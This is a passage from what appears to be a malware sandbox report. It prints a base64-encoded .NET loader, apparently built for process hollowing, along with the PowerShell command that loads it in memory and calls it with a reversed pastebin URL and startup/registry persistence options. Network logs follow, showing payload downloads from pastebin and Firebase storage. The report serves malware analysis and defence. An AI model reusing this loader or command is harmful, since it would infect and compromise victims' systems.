LAUOAN4BMgQOAMUBQAMGAHoBSwUGAJIBVwAGABACVwAOAPsBMgQAAAAATAAAAAAAAQABAAAAAAAkAAAABQABAAEAAAAAAFUAAAAJAAEAAgAAARAAJgAAABUAAQADAAABAABrAAAAFQAFAAgAAAEQACgAAABFAAcACwAAAQAAlAAAABUACAAOAAEAAACpBhwBFQAIAA8ABQEAAEwAAAAVAAgAHAAFAQAAAQAAABUACAAjAAsBAABMAAAAeQAJACUACwEAACQAAAB5AA0AJQAAAQAASAIAAH0AHwAlADEATACfATEATACnATEATACvATEATAC3AREATAC/AREATADDAREATADHASEATABcAAYATAChAAYAJAChAAYATADLAQYAJADLAQYATADLAQYATACGAAYAJACGAAYAVQCGAAYATADOAQYAJADOAQYAVQDOAQYAJgDOAQYAawDOAQYAKADOAQYAlADOAQYAKgDOAQYATADRAQYAJADRAQYATAChAAYAJAChAAYAVQChAAYAJgChAFaA6wOGAFAgAAAAAAYYvQQBAAEAWCAAAAAABhi9BAEAAQBgIAAAAAARGMME1gABALggAAAAABMATADUAQEA2CAAAAAAEwBMANkBAQD4IAAAAAATAEwA3gEBABghAAAAABMATADjAQEAOCEAAAAAEwBMAOgBAQCcIQAAAAATAEwA7QEBALYhAAAAABMATADyAQEAviEAAAAAERjDBNYAAgDUIQAAAAAGGL0EAQACANwhAAAAABYATAD4AQIA+CEAAAAAEwBMAPgBAgASIgAAAAAGGL0EAQACAAAAAACAABFgTAD9AQIAAAAAAIAAEWBMAA8CDAAAAAAAgAARYCQADwIOAAAAAACAABFgVQAPAhAAAAAAAIAAEWAmAA8CEgAAAAAAgAARYEwAFgIUAAAAAACAABFgTAAhAhkAAAAAAIAAEWBMACwCHgAAAAAAgAARYEwAMgIgAAAAAACAABFgTAA7AiUAHCIAAAAAFgAuAEACJgBsIgAAAAARAEwARwIoADwoAAAAAMYC1QUxACwAYCgAAAAAxgKlADYALQB8KAAAAACDAEwAUAItAJwoAAAAAMYCWgNBAC0AuCgAAAAAEQBMAFUCLQD2KAAAAAABAEwAXQIuAP8oAAAAAAYYvQQBAC8ACCkAAAAAAwBMACcALwBqKQAAAAAGGL0EAQAvAIMpAAAAAAYYvQQBAC8AAAABAEwAAAABAEwAAAACACQAAAADAFUAAAAEACYAAAAFAGsAAAAGACgAAAAHAJQAAAAIACoAAAAJADcDAAAKACwAAAABAEwAAAACACQAAAABAEwAAAACACQAAAABAEwAAAACACQAAAABAEwAAAACACQAAAABAEwAAAACACQAAAADAFUAAAAEACYAAAAFAGsAAAABAEwAAAACACQAAAADAFUAAAAEACYAAAAFAGsAAAABAEwAAAACACQAAAABAEwAAAACACQAAAADAFUAAAAEACYAAAAFAGsAAAABAEwAAAABAGMDAAACAEkAAAABAEwAAAACACQAAAADAFUAAAAEACYAAAABAF0EAAABAEwAAAABAEwACQC9BAEAGQC9BAUAEQC9BAEADAC9BAEAFAC9BAEAHAC9BAEAJAC9BAEADABMACcAFABMACcAHABMACcAJABMACcAQQAhAywAKQDVBTEAKQClADYAUQDDADoAKQBaA0EAYQCWAEgAKQC9BAEAPABMAFwANAANAycAaQANAycANAAXA2cAaQAXA2cANAC9BAEAaQC9BAEAKQDMBW0AUQBPBnMAcQC9BHgAkQCJAH8AiQC9BAEAmQC9BAEAoQCjBoYAoQAABokAsQA5A48AoQCbBpUAoQD5BZoAuQBaBKEAwQC9BAEAyQAUAKQAuQAwA6sAyQAcAK8A2QBcBrkAyQDDBcQA6QCjBMoAqQBtANAAqQDXAwEA6QCRBNYA+QC9BAEAAQG9BNoACQG9BAEAEQG9BN8AGQG9BN8AIQG9BN8AKQG9BN8AMQG9BN8AOQG9BN8AQQG9BOQASQG9BN8AUQG9BN8AWQG9BN8AYQG9BAEAaQG9BAEAcQG9BOkAeQG9BAEADgB8AI4BLgCLAWUCLgCTAW4CLgCbAY0CLgCjAZ4CLgCrAZ4CLgCzAY0CLgC7AaQCLgDDAZ4CLgDLAZ4CLgDTAbwCLgDbAeYCLgDjAfMCLgAqAUEDQAATAEYDQwATAEYDYwATAEYDgwDrAUEDgwDzAUEDowDrAUEDowDzAUEDwwATAE8D4wDrAUED4wDzAUEDIwETAEYDIwH7AVgDQwETAEYDQwHLAZ4CowEDAroDAAL7AEEDIAL7AEEDQAL7AEEDYAL7AEEDgAL7AEEDoAL7AEEDwAL7AEED4AL7AEEDAAP7AEEDIAP7AEEDgAMTAEYDoAMTAEYDwAMTAEYD4AMTAEYDQAQTAEYDgAQTAEYDAQAAAAAACwABAAAAAAAMAPEA9gD7AAABBQENARIBFwEdAVMBVwFbAWABZAFvAbADzQMLABIAGQAgAEUATgBVAGQAtgAEASEA6wUBAAABIwATBgEAAAElAA4GAQAAAScAKQYBAAABKQAkBgEAAAErAGYGAQAAAS0AeAYBAAABLwAdBAIAAAExADoGAQAAATMAfAABAASAAAABAAAAAAAAAAAAAAAAABwBAAAKAAAAAAAAAAAAAAB8AVcAAAAAAAQAAAAAAAAAAAAAAIUB3AMAAAAABAAAAAAAAAAAAAAAhQFOAAAAAAAAAAAAAQAAAKMFAAAJAAQACgAEAAsACAAMAAgAAAAQABQATAAAABAAQQBMAAAAAABDAEwAIwBqASMAdwEAAABBYDEAQ29udGV4dFZhbHVlYDEAVG9JbnQzMgBUb0ludDE2AEEAQgBDAEQARQBwaWNhZ3Jvc3Npc2ltYQBQcm9qZWN0RGF0YQBkYXRhAG1zY29ybGliAE1pY3Jvc29mdC5WaXN1YWxCYXNpYwBHZXRQcm9jZXNzQnlJZABSZXN1bWVUaHJlYWQAU3luY2hyb25pemVkAENyZWF0ZUluc3RhbmNlAEdldEhhc2hDb2RlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAFZhbHVlVHlwZQBBcHBsaWNhdGlvbkJhc2UAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAcm9sYWdpZ2FudGUAR3VpZEF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAE9iZnVzY2F0aW9uQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAWWFub0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3VwcHJlc3NVbm1hbmFnZWRDb2RlU2VjdXJpdHlBdHRyaWJ1dGUAQnl0ZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldE9iamVjdFZhbHVlAGdldF9TaXplAFNpemVPZgBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAFRvU3RyaW5nAHBhdGgATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwAa2VybmVsMzIuZGxsAHJvbGFnaWdhbnRlLmRsbABudGRsbC5kbGwAS2lsbABTeXN0ZW0AQm9vbGVhbgBWZXJzaW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBDdWx0dXJlSW5mbwBaZXJvAEJ1ZmZlcgBSZXNvdXJjZU1hbmFnZXIAVXNlcgBCaXRDb252ZXJ0ZXIAQ29tcHV0ZXIAQ2xlYXJQcm9qZWN0RXJyb3IAU2V0UHJvamVjdEVycm9yAEFjdGl2YXRvcgAuY3RvcgAuY2N0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAHJvbGFnaWdhbnRl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AAAAAAAAADAAAAwAAACoPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwZAAAAAAAAAAAAADKZAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvGQAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWIAAADwDAAAAAAAAAAAAADwDNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsAScAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAAB4AgAAAQAwADAAMAAwADAANABiADAAAAAaAAEAAQBDAG8AbQBtAGUAbgB0AHMAAAAAAAAAIgABAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAAAAAAAARAAOAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADIAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAABEABIAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADIALgBkAGwAbAAAAEgAEgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADIANAAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAATAASAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEMAbABhAHMAcwBMAGkAYgByAGEAcgB5ADIALgBkAGwAbAAAADwADgABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMgAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAA3DQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';[Byte[]] $byteArray = [System.Convert]::FromBase64String($data);[System.AppDomain]::CurrentDomain.Load($byteArray).GetType('ClassLibrary2.clasudo').GetMethod('ljdhsy').Invoke($null, [object[]] ('2BGbtyQJ/war/moc.nibetsap//:sptth', 'C:\Users\Admin\AppData\Local\Temp\Payment Advice.pdf.js', 'Name Startup ink', '3', '1', 'Regedit Name'));"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2812

Network

  • flag-us
    DNS
    pastebin.com
    wscript.exe
    Remote address:
    8.8.8.8:53
    Request
    pastebin.com
    IN A
    Response
    pastebin.com
    IN A
    104.20.3.235
    pastebin.com
    IN A
    104.20.4.235
    pastebin.com
    IN A
    172.67.19.24
  • flag-us
    GET
    https://pastebin.com/raw/GmRYhiS9
    wscript.exe
    Remote address:
    104.20.3.235:443
    Request
    GET /raw/GmRYhiS9 HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    Accept-Language: en-us
    User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
    Host: pastebin.com
    Response
    HTTP/1.1 200 OK
    Date: Tue, 17 Sep 2024 15:08:24 GMT
    Content-Type: text/plain; charset=utf-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    x-frame-options: DENY
    x-content-type-options: nosniff
    x-xss-protection: 1;mode=block
    cache-control: public, max-age=1801
    CF-Cache-Status: HIT
    Age: 75
    Last-Modified: Tue, 17 Sep 2024 15:07:09 GMT
    Server: cloudflare
    CF-RAY: 8c4a02ea8c869406-LHR
  • flag-us
    DNS
    firebasestorage.googleapis.com
    wscript.exe
    Remote address:
    8.8.8.8:53
    Request
    firebasestorage.googleapis.com
    IN A
    Response
    firebasestorage.googleapis.com
    IN A
    142.250.200.42
    firebasestorage.googleapis.com
    IN A
    172.217.169.10
    firebasestorage.googleapis.com
    IN A
    216.58.204.74
    firebasestorage.googleapis.com
    IN A
    216.58.201.106
    firebasestorage.googleapis.com
    IN A
    142.250.178.10
    firebasestorage.googleapis.com
    IN A
    142.250.187.234
    firebasestorage.googleapis.com
    IN A
    142.250.200.10
    firebasestorage.googleapis.com
    IN A
    172.217.169.74
    firebasestorage.googleapis.com
    IN A
    172.217.16.234
    firebasestorage.googleapis.com
    IN A
    142.250.180.10
    firebasestorage.googleapis.com
    IN A
    216.58.213.10
    firebasestorage.googleapis.com
    IN A
    142.250.179.234
    firebasestorage.googleapis.com
    IN A
    142.250.187.202
    firebasestorage.googleapis.com
    IN A
    216.58.212.202
  • flag-gb
    GET
    https://firebasestorage.googleapis.com/v0/b/aaaaa-dc2a3.appspot.com/o/dlllllll.txt?alt=media&token=fdca0921-d71f-49dc-bdf6-08168b6bad86
    wscript.exe
    Remote address:
    142.250.200.42:443
    Request
    GET /v0/b/aaaaa-dc2a3.appspot.com/o/dlllllll.txt?alt=media&token=fdca0921-d71f-49dc-bdf6-08168b6bad86 HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    Accept-Language: en-us
    User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
    Host: firebasestorage.googleapis.com
    Response
    HTTP/1.1 200 OK
    Expires: Tue, 17 Sep 2024 15:08:24 GMT
    Date: Tue, 17 Sep 2024 15:08:24 GMT
    Cache-Control: private, max-age=0
    Last-Modified: Sun, 08 Sep 2024 23:18:19 GMT
    ETag: "cc9f583ed172fc708e34d48120ba177a"
    x-goog-generation: 1725837499606790
    x-goog-metageneration: 1
    x-goog-stored-content-encoding: identity
    x-goog-stored-content-length: 26624
    x-goog-meta-firebaseStorageDownloadTokens: fdca0921-d71f-49dc-bdf6-08168b6bad86
    Content-Type: text/plain
    Content-Disposition: inline; filename*=utf-8''dlllllll.txt
    x-goog-hash: crc32c=HocL4Q==
    x-goog-hash: md5=zJ9YPtFy/HCONNSBILoXeg==
    x-goog-storage-class: STANDARD
    Accept-Ranges: bytes
    Content-Length: 26624
    X-GUploader-UploadID: AD-8ljsCx6N4xGW3amz7c6u86GPZSi3JkQWTmA_BDhldzGCp57YOkd6IHziKHjNJ_BtQ1SZnlnY
    Server: UploadServer
    Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
  • 104.20.3.235:443
    https://pastebin.com/raw/GmRYhiS9
    tls, http
    wscript.exe
    865 B
    5.5kB
    9
    9

    HTTP Request

    GET https://pastebin.com/raw/GmRYhiS9

    HTTP Response

    200
  • 142.250.200.42:443
    https://firebasestorage.googleapis.com/v0/b/aaaaa-dc2a3.appspot.com/o/dlllllll.txt?alt=media&token=fdca0921-d71f-49dc-bdf6-08168b6bad86
    tls, http
    wscript.exe
    1.4kB
    33.9kB
    18
    29

    HTTP Request

    GET https://firebasestorage.googleapis.com/v0/b/aaaaa-dc2a3.appspot.com/o/dlllllll.txt?alt=media&token=fdca0921-d71f-49dc-bdf6-08168b6bad86

    HTTP Response

    200
  • 8.8.8.8:53
    pastebin.com
    dns
    wscript.exe
    58 B
    106 B
    1
    1

    DNS Request

    pastebin.com

    DNS Response

    104.20.3.235
    104.20.4.235
    172.67.19.24

  • 8.8.8.8:53
    firebasestorage.googleapis.com
    dns
    wscript.exe
    76 B
    300 B
    1
    1

    DNS Request

    firebasestorage.googleapis.com

    DNS Response

    142.250.200.42
    172.217.169.10
    216.58.204.74
    216.58.201.106
    142.250.178.10
    142.250.187.234
    142.250.200.10
    172.217.169.74
    172.217.16.234
    142.250.180.10
    216.58.213.10
    142.250.179.234
    142.250.187.202
    216.58.212.202

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2812-4-0x000007FEF54CE000-0x000007FEF54CF000-memory.dmp

    Filesize

    4KB

  • memory/2812-8-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-7-0x0000000002390000-0x0000000002398000-memory.dmp

    Filesize

    32KB

  • memory/2812-6-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

    Filesize

    2.9MB

  • memory/2812-10-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-9-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-11-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-12-0x0000000002D20000-0x0000000002D2C000-memory.dmp

    Filesize

    48KB

  • memory/2812-13-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

    Filesize

    9.6MB

  • memory/2812-14-0x000007FEF54CE000-0x000007FEF54CF000-memory.dmp

    Filesize

    4KB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.